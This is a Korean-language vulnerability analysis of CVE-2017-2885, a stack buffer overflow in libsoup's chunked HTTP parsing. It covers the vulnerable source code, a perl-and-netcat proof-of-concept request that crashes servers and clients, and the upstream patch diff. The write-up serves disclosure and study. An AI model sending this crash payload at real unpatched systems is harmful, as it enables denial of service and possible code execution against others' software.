CVE-2017-2885
libsoup는 GNOME HTTP client/server 라이브러리로 GNOME 응용 프로그램과 호환성이 좋고 스레드 응용 프로그램을 위한 동기식 API도 제공하고 있다. 최근 스택 기반 버퍼 오버플로우가 발생(CVE-2017-2885)되어 조치되었다. 해당 취약점에 대해서 알아보자.
CVE-2017-2885
GNOME libsoup 2.58 버전에서 HTTP 요청 값을 이용하여 스택 기반 오버플로우를 유발시켜 원격 코드실행이 가능하다.
GNOME libsoup는 HTTP 요청 및 응답을 처리하기 위한 클라이언트 및 서버 측 코드를 구현할 때 사용되는 라이브러리이다. 일반적으로 기본 웹 서버 기능을 위해 미디어 스트리밍 서버와 같은 다른 응용 프로그램에 내장되어 사용된다. 또한 독립적으로 사용할 수 있으며 하드웨어 장치에 내장도 가능하다.
chunk
로 인코딩된 데이터가 포함된 HTTP 요청을 처리할 때, 부적절한 경계 검증으로 인해 정적으로 크기가 지정된 스택에 대용량 메모리를 복사할 수 있다. 오버플로우를 유발하는 코드는 libsoup/soup-body-input-stream.c
파일의 soup_body_input_stream_read_chunked
함수이다.
static gssize
soup_body_input_stream_read_chunked (SoupBodyInputStream *bistream,
void *buffer,
gsize count,
gboolean blocking,
GCancellable *cancellable,
GError **error)
{
SoupFilterInputStream *fstream = SOUP_FILTER_INPUT_STREAM (bistream->priv->base_stream);
char metabuf[128]; [1]
gssize nread;
gboolean got_line;
스택에 [1] 버퍼를 할당한다. chunk
로 인코딩된 HTTP 요청 본문을 처리하는 과정에서soup_filter_input_stream_read_line
함수가 호출된다.
case SOUP_BODY_INPUT_STREAM_STATE_CHUNK_END:
nread = soup_filter_input_stream_read_line (
SOUP_FILTER_INPUT_STREAM (bistream->priv->base_stream),
metabuf, sizeof (metabuf), blocking,
&got_line, cancellable, error);
위의 코드에서 soup_filter_input_stream_read_line
함수의 인자 값으로 metabuf
와 metabuf
길이가 전달되는 것을 볼 수 있다. 이 함수는soup_filter_input_stream_read_until
을 감싸는 래퍼함수이며 줄 바꿈 문자를 구분 기호로 하여 호출된다 :
gssize
soup_filter_input_stream_read_line (SoupFilterInputStream *fstream,
void *buffer,
gsize length,
gboolean blocking,
gboolean *got_line,
GCancellable *cancellable,
GError **error)
{
return soup_filter_input_stream_read_until (fstream, buffer, length,
"\n", 1, blocking,
TRUE, got_line,
cancellable, error);
}
soup_filter_input_stream_read_until
함수에서 입력 스트림 버퍼를 읽는다.
/* Scan for the boundary */
end = buf + fstream->priv->buf->len; [2]
if (!eof)
end -= boundary_length;
for (p = buf; p <= end; p++) { [3]
if (*p == *(guint8*)boundary &&
!memcmp (p, boundary, boundary_length)) { [4]
if (include_boundary)
p += boundary_length;
*got_boundary = TRUE;
break;
}
}
if (!*got_boundary && fstream->priv->buf->len < length && !eof)
goto fill_buffer;
/* Return everything up to 'p' (which is either just after the boundary if
* include_boundary is TRUE, just before the boundary if include_boundary is
* FALSE, @boundary_len - 1 bytes before the end of the buffer, or end-of-
* file).
*/
return read_from_buf (fstream, buffer, p - buf); [5]
[2]에서 스트림 데이터의 끝 포인터가 계산된다. [3]에서 구분자(변수boundary
, 줄 바꿈 문자)를 찾는 for 루프에서 끝 조건으로 사용된다. [4] 포인터p
는 줄 바꿈 문자가 발견 될 때까지 루프에서 증가된다. 마지막으로, [5]에서, 입력 스트림을 소스로, 버퍼를 목적지로, 줄 바꿈 문자까지의 길이를 offset으로하여 read_from_buf
함수를 호출한다. 이는 버퍼에 대한 검증없이 수행되어 read_from_buf
함수의memcpy
함수 호출로 버퍼 오버 플로우가 유발될 수 있다.
static gssize
read_from_buf (SoupFilterInputStream *fstream, gpointer buffer, gsize count)
{
GByteArray *buf = fstream->priv->buf;
if (buf->len < count)
count = buf->len;
memcpy (buffer, buf->data, count);
다음과 같이 간단한 HTTP 요청 값을 구성하여 쉽게 취약점 테스트를 할 수 있다.
GET / HTTP/1.0
Transfer-Encoding: chunked
1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
요청 분석 시 chunk
크기는 1이 되고 파서는 ‘A’문자를 읽어 들이고 128자를 초과하는 문자열에 의해서 버퍼 오버플로우가 발생한다. 이로 인해 서버 충돌을 일으키거나 악의적인 사용자가 삽입한 원격 코드가 실행될 수 있다.
POC
perl -e 'print "GET / HTTP/1.0\r\nTransfer-Encoding: chunked\r\n\r\n1\r\n" . "A"x150 . "\r\n \r\n"' | nc <target> <port>
libsourp 소스에 포함된 examples/simple-httpd
를 이용하여 간단히 취약점을 확인해볼 수 있다.
in terminal 1:
./examples/simple-httpd -p 12345
in terminal 2:
perl -e 'print "GET / HTTP/1.0\r\nTransfer-Encoding: chunked\r\n\r\n1\r\n" . "A"x150 . "\r\n \r\n"' | nc 127.0.0.1 12345
(and simple-httpd will segfault)
The bug also exists on the client side (ie, a malicious server/proxy can crash a client):
in terminal 1:
perl -e 'print "HTTP/1.0 200 OK\r\nTransfer-Encoding: chunked\r\n\r\n1\r\n" . "A"x150 . "\r\n \r\n"' | nc -l 127.0.0.1 12345
in terminal 2:
./examples/get http://127.0.0.1:12345/
(get segfaults)
Fix
길이 검증을 위한 코드가 추가된 것을 확인할 수 있다.
https://bugzilla.gnome.org/show_bug.cgi?id=785774
---
libsoup/soup-filter-input-stream.c | 22 +++++++++++-----------
1 file changed, 11 insertions(+), 11 deletions(-)
diff --git a/libsoup/soup-filter-input-stream.c b/libsoup/soup-filter-input-stream.c
index cde4d12..2c30bf9 100644
--- a/libsoup/soup-filter-input-stream.c
+++ b/libsoup/soup-filter-input-stream.c
@@ -198,7 +198,7 @@ soup_filter_input_stream_read_until (SoupFilterInputStream *fstream,
GCancellable *cancellable,
GError **error)
{
- gssize nread;
+ gssize nread, read_length;
guint8 *p, *buf, *end;
gboolean eof = FALSE;
GError *my_error = NULL;
@@ -251,10 +251,11 @@ soup_filter_input_stream_read_until (SoupFilterInputStream *fstream,
} else
buf = fstream->priv->buf->data;
- /* Scan for the boundary */
- end = buf + fstream->priv->buf->len;
- if (!eof)
- end -= boundary_length;
+ /* Scan for the boundary within the range we can possibly return. */
+ if (include_boundary)
+ end = buf + MIN (fstream->priv->buf->len, length) - boundary_length;
+ else
+ end = buf + MIN (fstream->priv->buf->len - boundary_length, length);
for (p = buf; p <= end; p++) {
if (*p == *(guint8*)boundary &&
!memcmp (p, boundary, boundary_length)) {
@@ -268,10 +269,9 @@ soup_filter_input_stream_read_until (SoupFilterInputStream *fstream,
if (!*got_boundary && fstream->priv->buf->len < length && !eof)
goto fill_buffer;
- /* Return everything up to 'p' (which is either just after the boundary if
- * include_boundary is TRUE, just before the boundary if include_boundary is
- * FALSE, @boundary_len - 1 bytes before the end of the buffer, or end-of-
- * file).
- */
- return read_from_buf (fstream, buffer, p - buf);
+ if (eof && !*got_boundary)
+ read_length = MIN (fstream->priv->buf->len, length);
+ else
+ read_length = p - buf;
+ return read_from_buf (fstream, buffer, read_length);
}
--
2.9.4